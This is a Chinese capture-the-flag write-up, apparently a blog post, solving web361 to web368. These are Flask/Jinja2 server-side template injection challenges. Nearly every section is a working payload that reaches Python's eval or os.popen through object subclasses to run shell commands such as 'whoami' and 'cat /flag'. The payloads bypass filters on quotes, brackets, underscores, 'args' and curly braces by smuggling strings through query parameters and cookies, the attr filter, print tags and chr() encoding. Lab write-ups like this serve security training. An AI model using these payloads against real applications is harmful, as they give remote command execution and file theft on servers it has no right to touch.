web361
- 提示名字就是考点, 界面有hello,想到通过name传参,进行尝试:
1 2 3
| name={{hello}}
name={{1*2}} 返回2
|
确定为模板注入。
1
| {{''.__class__.__bases__[0].__subclasses__()}}
|
1 2
| {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
|
将命令换成cat /flag即可。
web362
使用一样的payload:
1 2
| {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}
|
web363
- 简单fuzz了一下,发现过滤了单引号、双引号,使用request进行get传参:
1 2 3 4
| name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
x可以使用原来的''.__class__.__bases__[0].__subclasses__()[80],也可以使用任意字母,执行结果都是一样的。(已在题目中进行尝试)
|
web364
- fuzz一下,发现过滤了单引号双引号和args,不能使用get方式进行传参。post请求方式无法使用,尝试使用cookies
1 2 3 4 5 6 7 8
| {{x.__init__.__globals__.__builtins__[request.cookies.x1](request.cookies.x2).read()}} cookies:x1=open;x2=/flag
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookies:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
|
web365
1 2 3 4
| {{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookies:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
|
web366 、web267
1
| 过滤了中括号 下划线 单引号 双引号 globals、getitem args
|
flask过滤器的用法可以参考官方文档:
https://jinja.palletsprojects.com/en/3.0.x/templates/
或者yu师傅的博客:
https://blog.csdn.net/miuzzx/article/details/110220425
1 2 3 4 5
| name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie传值 Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
|
web368
在上一题的基础上,将双花括号也过滤掉了
payload:
1 2 3 4 5 6 7
| name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
{%%20set%20chr%20=%20().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.__builtins__.chr%20%}{{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
|